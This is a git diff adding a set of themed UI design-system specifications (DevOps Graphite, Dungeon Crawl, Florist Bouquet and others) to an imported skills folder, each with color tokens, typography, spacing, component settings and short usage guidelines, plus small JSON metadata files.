a/imported-skills/designdotmd/designs/desert-rose.meta.json b/imported-skills/designdotmd/designs/desert-rose.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..20f4753ca29e8c8ba17049733f71ec795431da76 --- /dev/null +++ b/imported-skills/designdotmd/designs/desert-rose.meta.json @@ -0,0 +1,4 @@ +{ + "id": "desert-rose", + "name": "Desert Rose" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/devops-graphite.md b/imported-skills/designdotmd/designs/devops-graphite.md new file mode 100644 index 0000000000000000000000000000000000000000..85a0ebc501048ed51bec1d9e575f3ee0b275103b --- /dev/null +++ b/imported-skills/designdotmd/designs/devops-graphite.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: DevOps Graphite +description: Prod-green, staging-amber, build-pipeline blue. +colors: + primary: "#E8ECF1" + secondary: "#8893A1" + tertiary: "#3EC893" + neutral: "#121418" + surface: "#1A1D22" + on-primary: "#0A0B0D" +typography: + display: + fontFamily: Space Grotesk + fontSize: 3.5rem + fontWeight: 600 + letterSpacing: "-0.02em" + h1: + fontFamily: Space Grotesk + fontSize: 1.85rem + fontWeight: 600 + body: + fontFamily: Inter + fontSize: 0.92rem + lineHeight: 1.55 + label: + fontFamily: IBM Plex Mono + fontSize: 0.72rem + letterSpacing: "0.04em" +rounded: + sm: 3px + md: 6px + lg: 10px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +An infrastructure-console palette built for at-a-glance status. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#E8ECF1`):** Headlines and core text. +- **Secondary (`#8893A1`):** Borders, captions, and metadata. +- **Tertiary (`#3EC893`):** The sole driver for interaction. Reserve it. +- **Neutral (`#121418`):** The page foundation. + +## Typography + +- **display:** Space Grotesk 3.5rem +- **h1:** Space Grotesk 1.85rem +- **body:** Inter 0.92rem +- **label:** IBM Plex Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/devops-graphite.meta.json b/imported-skills/designdotmd/designs/devops-graphite.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..dc589a81d2bf24b04de9eae2e124792c27805ecc --- /dev/null +++ b/imported-skills/designdotmd/designs/devops-graphite.meta.json @@ -0,0 +1,4 @@ +{ + "id": "devops-graphite", + "name": "DevOps Graphite" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/dispatch-mono.md b/imported-skills/designdotmd/designs/dispatch-mono.md new file mode 100644 index 0000000000000000000000000000000000000000..a669f0b41e80d166e60f795d75a65a338a8883b7 --- /dev/null +++ b/imported-skills/designdotmd/designs/dispatch-mono.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Dispatch Mono +description: Independent-press monospace. Bulletin-board energy. +colors: + primary: "#1B1714" + secondary: "#716A62" + tertiary: "#D9541A" + neutral: "#F6F1E7" + surface: "#FDF9EF" + on-primary: "#FDF9EF" +typography: + display: + fontFamily: IBM Plex Mono + fontSize: 3.25rem + fontWeight: 700 + letterSpacing: "-0.02em" + h1: + fontFamily: IBM Plex Mono + fontSize: 1.8rem + fontWeight: 600 + body: + fontFamily: IBM Plex Mono + fontSize: 0.94rem + lineHeight: 1.65 + label: + fontFamily: IBM Plex Mono + fontSize: 0.72rem + letterSpacing: "0.08em" +rounded: + sm: 0px + md: 2px + lg: 4px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A newsletter-press system: monospace body, one rubber-stamp orange. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1B1714`):** Headlines and core text. +- **Secondary (`#716A62`):** Borders, captions, and metadata. +- **Tertiary (`#D9541A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F6F1E7`):** The page foundation. + +## Typography + +- **display:** IBM Plex Mono 3.25rem +- **h1:** IBM Plex Mono 1.8rem +- **body:** IBM Plex Mono 0.94rem +- **label:** IBM Plex Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/dispatch-mono.meta.json b/imported-skills/designdotmd/designs/dispatch-mono.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..8e89d01fdd38b1bfba2754520a1697100ec8df13 --- /dev/null +++ b/imported-skills/designdotmd/designs/dispatch-mono.meta.json @@ -0,0 +1,4 @@ +{ + "id": "dispatch-mono", + "name": "Dispatch Mono" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/dungeon-crawl.md b/imported-skills/designdotmd/designs/dungeon-crawl.md new file mode 100644 index 0000000000000000000000000000000000000000..967525e827908a11dcae3ac6fe1885f83389f43b --- /dev/null +++ b/imported-skills/designdotmd/designs/dungeon-crawl.md @@ -0,0 +1,74 @@ +--- +version: alpha +name: Dungeon Crawl +description: Torchlight, parchment, dice rolls in the dark. +colors: + primary: "#E8DCC0" + secondary: "#8A7A5E" + tertiary: "#B83A2E" + neutral: "#1A1612" + surface: "#241E17" + on-primary: "#E8DCC0" +typography: + display: + fontFamily: Cormorant Garamond + fontSize: 4.5rem + fontWeight: 500 + h1: + fontFamily: Cormorant Garamond + fontSize: 2.5rem + fontWeight: 500 + body: + fontFamily: EB Garamond + fontSize: 1.05rem + lineHeight: 1.7 + label: + fontFamily: IM Fell English + fontSize: 0.82rem + letterSpacing: "0.08em" +rounded: + sm: 2px + md: 4px + lg: 6px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A tabletop-inspired system for dark-fantasy games. Charcoal backgrounds, parchment cards. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#E8DCC0`):** Headlines and core text. +- **Secondary (`#8A7A5E`):** Borders, captions, and metadata. +- **Tertiary (`#B83A2E`):** The sole driver for interaction. Reserve it. +- **Neutral (`#1A1612`):** The page foundation. + +## Typography + +- **display:** Cormorant Garamond 4.5rem +- **h1:** Cormorant Garamond 2.5rem +- **body:** EB Garamond 1.05rem +- **label:** IM Fell English 0.82rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/dungeon-crawl.meta.json b/imported-skills/designdotmd/designs/dungeon-crawl.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..8d9890c9caf4f7482690765933b1533e92ac5c01 --- /dev/null +++ b/imported-skills/designdotmd/designs/dungeon-crawl.meta.json @@ -0,0 +1,4 @@ +{ + "id": "dungeon-crawl", + "name": "Dungeon Crawl" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/ev-silver.md b/imported-skills/designdotmd/designs/ev-silver.md new file mode 100644 index 0000000000000000000000000000000000000000..5d74b8f555c48c3468308650c63dce29e8df3332 --- /dev/null +++ b/imported-skills/designdotmd/designs/ev-silver.md @@ -0,0 +1,77 @@ +--- +version: alpha +name: EV Silver +description: Electric-vehicle showroom: liquid silver, voltage blue. +colors: + primary: "#0A0F16" + secondary: "#6C7788" + tertiary: "#0096FF" + neutral: "#EEF1F4" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Outfit + fontSize: 4.5rem + fontWeight: 300 + letterSpacing: "-0.04em" + h1: + fontFamily: Outfit + fontSize: 2.4rem + fontWeight: 300 + letterSpacing: "-0.03em" + body: + fontFamily: Outfit + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: Outfit + fontSize: 0.72rem + fontWeight: 500 + letterSpacing: "0.18em" +rounded: + sm: 4px + md: 8px + lg: 14px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A future-automotive system: cool-silver chrome, electric-blue accent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0A0F16`):** Headlines and core text. +- **Secondary (`#6C7788`):** Borders, captions, and metadata. +- **Tertiary (`#0096FF`):** The sole driver for interaction. Reserve it. +- **Neutral (`#EEF1F4`):** The page foundation. + +## Typography + +- **display:** Outfit 4.5rem +- **h1:** Outfit 2.4rem +- **body:** Outfit 0.95rem +- **label:** Outfit 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/ev-silver.meta.json b/imported-skills/designdotmd/designs/ev-silver.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..8aa5c0dd0c4700d0f558ec500ae20cc2c645a1bf --- /dev/null +++ b/imported-skills/designdotmd/designs/ev-silver.meta.json @@ -0,0 +1,4 @@ +{ + "id": "ev-silver", + "name": "EV Silver" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/exchange-tick.md b/imported-skills/designdotmd/designs/exchange-tick.md new file mode 100644 index 0000000000000000000000000000000000000000..28634b9e77589e72f785f173f93f31b99d39f23d --- /dev/null +++ b/imported-skills/designdotmd/designs/exchange-tick.md @@ -0,0 +1,74 @@ +--- +version: alpha +name: Exchange Tick +description: Order book green/red. Zero ornament. Every tick earns. +colors: + primary: "#E6E9EF" + secondary: "#6E7786" + tertiary: "#26A17B" + neutral: "#0A0D14" + surface: "#11141D" + on-primary: "#0A0D14" +typography: + display: + fontFamily: IBM Plex Mono + fontSize: 3rem + fontWeight: 600 + h1: + fontFamily: IBM Plex Sans + fontSize: 1.75rem + fontWeight: 600 + body: + fontFamily: IBM Plex Mono + fontSize: 0.88rem + lineHeight: 1.5 + label: + fontFamily: IBM Plex Mono + fontSize: 0.7rem + letterSpacing: "0.04em" +rounded: + sm: 2px + md: 3px + lg: 5px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +An exchange order-book aesthetic: ultra-dense tables, mono numerics, bid-ask duotone. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#E6E9EF`):** Headlines and core text. +- **Secondary (`#6E7786`):** Borders, captions, and metadata. +- **Tertiary (`#26A17B`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0A0D14`):** The page foundation. + +## Typography + +- **display:** IBM Plex Mono 3rem +- **h1:** IBM Plex Sans 1.75rem +- **body:** IBM Plex Mono 0.88rem +- **label:** IBM Plex Mono 0.7rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/exchange-tick.meta.json b/imported-skills/designdotmd/designs/exchange-tick.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..997975e3f157618c0783a531c846b5a235470772 --- /dev/null +++ b/imported-skills/designdotmd/designs/exchange-tick.meta.json @@ -0,0 +1,4 @@ +{ + "id": "exchange-tick", + "name": "Exchange Tick" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/farmers-market.md b/imported-skills/designdotmd/designs/farmers-market.md new file mode 100644 index 0000000000000000000000000000000000000000..33148074c3a83b06507c05e846af6089d387339c --- /dev/null +++ b/imported-skills/designdotmd/designs/farmers-market.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Farmers Market +description: Chalkboard signs, crate wood, tomato red. +colors: + primary: "#F5F1DE" + secondary: "#A89C7C" + tertiary: "#DB3F3A" + neutral: "#1F2A20" + surface: "#2A382B" + on-primary: "#F5F1DE" +typography: + display: + fontFamily: Caveat + fontSize: 5rem + fontWeight: 700 + letterSpacing: "-0.01em" + h1: + fontFamily: Fraunces + fontSize: 2.4rem + fontWeight: 600 + body: + fontFamily: Lora + fontSize: 1rem + lineHeight: 1.7 + label: + fontFamily: Caveat + fontSize: 1.05rem + letterSpacing: "0.02em" +rounded: + sm: 4px + md: 8px + lg: 14px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A farmers-market palette: chalkboard dark, crate-wood warmth, tomato-red accent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#F5F1DE`):** Headlines and core text. +- **Secondary (`#A89C7C`):** Borders, captions, and metadata. +- **Tertiary (`#DB3F3A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#1F2A20`):** The page foundation. + +## Typography + +- **display:** Caveat 5rem +- **h1:** Fraunces 2.4rem +- **body:** Lora 1rem +- **label:** Caveat 1.05rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/farmers-market.meta.json b/imported-skills/designdotmd/designs/farmers-market.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..30b63303276f675b93a4e30d17a9571b1705ad12 --- /dev/null +++ b/imported-skills/designdotmd/designs/farmers-market.meta.json @@ -0,0 +1,4 @@ +{ + "id": "farmers-market", + "name": "Farmers Market" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/farmsim-harvest.md b/imported-skills/designdotmd/designs/farmsim-harvest.md new file mode 100644 index 0000000000000000000000000000000000000000..6757d62cd7aa270e6f6e900c795e6151d3aa4eb5 --- /dev/null +++ b/imported-skills/designdotmd/designs/farmsim-harvest.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Farmsim Harvest +description: Cozy farm sim: golden wheat, rosy blush, soft sky. +colors: + primary: "#3D2A16" + secondary: "#B09674" + tertiary: "#E67E5C" + neutral: "#FFF3DC" + surface: "#FFF9EA" + on-primary: "#FFF9EA" +typography: + display: + fontFamily: Chewy + fontSize: 4.5rem + fontWeight: 400 + h1: + fontFamily: Fredoka + fontSize: 2.3rem + fontWeight: 600 + body: + fontFamily: Fredoka + fontSize: 1rem + lineHeight: 1.6 + label: + fontFamily: Fredoka + fontSize: 0.78rem + fontWeight: 600 + letterSpacing: "0.04em" +rounded: + sm: 8px + md: 16px + lg: 26px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +Cozy simulation-game palette. Warm wheat surfaces, rosy primary, handpainted vibe. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#3D2A16`):** Headlines and core text. +- **Secondary (`#B09674`):** Borders, captions, and metadata. +- **Tertiary (`#E67E5C`):** The sole driver for interaction. Reserve it. +- **Neutral (`#FFF3DC`):** The page foundation. + +## Typography + +- **display:** Chewy 4.5rem +- **h1:** Fredoka 2.3rem +- **body:** Fredoka 1rem +- **label:** Fredoka 0.78rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/farmsim-harvest.meta.json b/imported-skills/designdotmd/designs/farmsim-harvest.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..aa23f23f800dc57f7b28d6a5bb83e79593b247bd --- /dev/null +++ b/imported-skills/designdotmd/designs/farmsim-harvest.meta.json @@ -0,0 +1,4 @@ +{ + "id": "farmsim-harvest", + "name": "Farmsim Harvest" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/festival-fluoro.md b/imported-skills/designdotmd/designs/festival-fluoro.md new file mode 100644 index 0000000000000000000000000000000000000000..de87f35dbff331b7682df9e066b56e1401a44e0b --- /dev/null +++ b/imported-skills/designdotmd/designs/festival-fluoro.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Festival Fluoro +description: Open-air festival: sunset magenta, lime wash, neon type. +colors: + primary: "#16082B" + secondary: "#7A5AA3" + tertiary: "#FF2D92" + neutral: "#DAFF4C" + surface: "#EBFF7A" + on-primary: "#16082B" +typography: + display: + fontFamily: Archivo Black + fontSize: 5.5rem + fontWeight: 900 + letterSpacing: "-0.04em" + h1: + fontFamily: Archivo Black + fontSize: 2.8rem + fontWeight: 900 + body: + fontFamily: Inter + fontSize: 0.94rem + lineHeight: 1.5 + label: + fontFamily: Archivo Black + fontSize: 0.72rem + letterSpacing: "0.16em" +rounded: + sm: 4px + md: 8px + lg: 14px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A festival-poster palette: saturated magenta/lime, neon display type, loud but legible. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#16082B`):** Headlines and core text. +- **Secondary (`#7A5AA3`):** Borders, captions, and metadata. +- **Tertiary (`#FF2D92`):** The sole driver for interaction. Reserve it. +- **Neutral (`#DAFF4C`):** The page foundation. + +## Typography + +- **display:** Archivo Black 5.5rem +- **h1:** Archivo Black 2.8rem +- **body:** Inter 0.94rem +- **label:** Archivo Black 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/festival-fluoro.meta.json b/imported-skills/designdotmd/designs/festival-fluoro.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..9d6f1c491f330687179f267b2db8a37e7ff0e6cb --- /dev/null +++ b/imported-skills/designdotmd/designs/festival-fluoro.meta.json @@ -0,0 +1,4 @@ +{ + "id": "festival-fluoro", + "name": "Festival Fluoro" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/field-notes.md b/imported-skills/designdotmd/designs/field-notes.md new file mode 100644 index 0000000000000000000000000000000000000000..fc4882907fd17f27c42348f7870134daf80b596e --- /dev/null +++ b/imported-skills/designdotmd/designs/field-notes.md @@ -0,0 +1,74 @@ +--- +version: alpha +name: Field Notes +description: Botanist's notebook: moss, bark, pressed leaves. +colors: + primary: "#1F2A1A" + secondary: "#7B8473" + tertiary: "#6B8E3D" + neutral: "#EEE9DB" + surface: "#F8F3E3" + on-primary: "#F8F3E3" +typography: + display: + fontFamily: Cormorant Garamond + fontSize: 4.5rem + fontWeight: 500 + h1: + fontFamily: Cormorant Garamond + fontSize: 2.4rem + fontWeight: 500 + body: + fontFamily: Libre Caslon Text + fontSize: 1.02rem + lineHeight: 1.7 + label: + fontFamily: Space Mono + fontSize: 0.72rem + letterSpacing: "0.1em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +An outdoor-brand system grounded in field sketches. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1F2A1A`):** Headlines and core text. +- **Secondary (`#7B8473`):** Borders, captions, and metadata. +- **Tertiary (`#6B8E3D`):** The sole driver for interaction. Reserve it. +- **Neutral (`#EEE9DB`):** The page foundation. + +## Typography + +- **display:** Cormorant Garamond 4.5rem +- **h1:** Cormorant Garamond 2.4rem +- **body:** Libre Caslon Text 1.02rem +- **label:** Space Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/field-notes.meta.json b/imported-skills/designdotmd/designs/field-notes.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..a61444dc0fb2deb0ff4d17a6911bad16a32a8dfc --- /dev/null +++ b/imported-skills/designdotmd/designs/field-notes.meta.json @@ -0,0 +1,4 @@ +{ + "id": "field-notes", + "name": "Field Notes" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/film-photography.md b/imported-skills/designdotmd/designs/film-photography.md new file mode 100644 index 0000000000000000000000000000000000000000..5bbeb9fd6e25e0fc706153fb4cb89e688cb7954e --- /dev/null +++ b/imported-skills/designdotmd/designs/film-photography.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Film Photography +description: 35mm grain: gelatin silver, kodak yellow, frame number. +colors: + primary: "#151412" + secondary: "#777268" + tertiary: "#F2C94C" + neutral: "#EEEAE0" + surface: "#FBF7EC" + on-primary: "#151412" +typography: + display: + fontFamily: Space Mono + fontSize: 3.5rem + fontWeight: 700 + letterSpacing: "-0.02em" + h1: + fontFamily: Space Mono + fontSize: 1.8rem + fontWeight: 700 + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.65 + label: + fontFamily: Space Mono + fontSize: 0.72rem + letterSpacing: "0.1em" +rounded: + sm: 0px + md: 2px + lg: 4px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A film-photography palette: silver gelatin neutral, kodak-yellow accent, mono frame counters. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#151412`):** Headlines and core text. +- **Secondary (`#777268`):** Borders, captions, and metadata. +- **Tertiary (`#F2C94C`):** The sole driver for interaction. Reserve it. +- **Neutral (`#EEEAE0`):** The page foundation. + +## Typography + +- **display:** Space Mono 3.5rem +- **h1:** Space Mono 1.8rem +- **body:** Inter 0.95rem +- **label:** Space Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/film-photography.meta.json b/imported-skills/designdotmd/designs/film-photography.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..5bc7ec81b9a3f4df689fe634c9f8aeb3b747ae6c --- /dev/null +++ b/imported-skills/designdotmd/designs/film-photography.meta.json @@ -0,0 +1,4 @@ +{ + "id": "film-photography", + "name": "Film Photography" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/florist-bouquet.md b/imported-skills/designdotmd/designs/florist-bouquet.md new file mode 100644 index 0000000000000000000000000000000000000000..c7f928fc4ed054132c28007353d5b9d781447b09 --- /dev/null +++ b/imported-skills/designdotmd/designs/florist-bouquet.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Florist Bouquet +description: Boutique florist: petal blush, stem green, kraft paper. +colors: + primary: "#221D18" + secondary: "#8B8070" + tertiary: "#E58BA3" + neutral: "#F0E7D6" + surface: "#F8EEDC" + on-primary: "#F8EEDC" +typography: + display: + fontFamily: Cormorant Garamond + fontSize: 5rem + fontWeight: 400 + letterSpacing: "-0.015em" + h1: + fontFamily: Cormorant Garamond + fontSize: 2.5rem + fontWeight: 400 + body: + fontFamily: Lora + fontSize: 1rem + lineHeight: 1.7 + label: + fontFamily: Lora + fontSize: 0.75rem + fontWeight: 600 + letterSpacing: "0.2em" +rounded: + sm: 4px + md: 10px + lg: 18px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A florist-brand palette: kraft paper surface, petal-blush accent, stem-green secondary. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#221D18`):** Headlines and core text. +- **Secondary (`#8B8070`):** Borders, captions, and metadata. +- **Tertiary (`#E58BA3`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F0E7D6`):** The page foundation. + +## Typography + +- **display:** Cormorant Garamond 5rem +- **h1:** Cormorant Garamond 2.5rem +- **body:** Lora 1rem +- **label:** Lora 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/florist-bouquet.meta.json b/imported-skills/designdotmd/designs/florist-bouquet.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..70f4edb2d845e6af6b75b7cc5e6f3830da698258 --- /dev/null +++ b/imported-skills/designdotmd/designs/florist-bouquet.meta.json @@ -0,0 +1,4 @@ +{ + "id": "florist-bouquet", + "name": "Florist Bouquet" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/forest-floor.md b/imported-skills/designdotmd/designs/forest-floor.md new file mode 100644 index 0000000000000000000000000000000000000000..a52c41c093774070ce7dfbbe3f9bd29d3ff21df6 --- /dev/null +++ b/imported-skills/designdotmd/designs/forest-floor.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Forest Floor +description: Moss, bark, and a ribbon of copper. +colors: + primary: "#1F3529" + secondary: "#5C6B5E" + tertiary: "#C9733A" + neutral: "#E8E2D0" + surface: "#F5F1E4" + on-primary: "#F5F1E4" +typography: + display: + fontFamily: Cormorant Garamond + fontSize: 4.5rem + fontWeight: 500 + letterSpacing: "-0.015em" + h1: + fontFamily: Cormorant Garamond + fontSize: 2.75rem + fontWeight: 500 + body: + fontFamily: Inter + fontSize: 1rem + lineHeight: 1.65 + label: + fontFamily: Inter + fontSize: 0.75rem + letterSpacing: "0.08em" +rounded: + sm: 4px + md: 8px + lg: 16px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A grounded, outdoorsy palette. Deep forest primary, warm bark neutrals, copper accent. Feels like a well-bound field journal. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1F3529`):** Headlines and core text. +- **Secondary (`#5C6B5E`):** Borders, captions, and metadata. +- **Tertiary (`#C9733A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#E8E2D0`):** The page foundation. + +## Typography + +- **display:** Cormorant Garamond 4.5rem +- **h1:** Cormorant Garamond 2.75rem +- **body:** Inter 1rem +- **label:** Inter 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/forest-floor.meta.json b/imported-skills/designdotmd/designs/forest-floor.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..9bb38de70c63ebd4ef7cd1a8e825dbfd5c5046c3 --- /dev/null +++ b/imported-skills/designdotmd/designs/forest-floor.meta.json @@ -0,0 +1,4 @@ +{ + "id": "forest-floor", + "name": "Forest Floor" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/forest-trail.md b/imported-skills/designdotmd/designs/forest-trail.md new file mode 100644 index 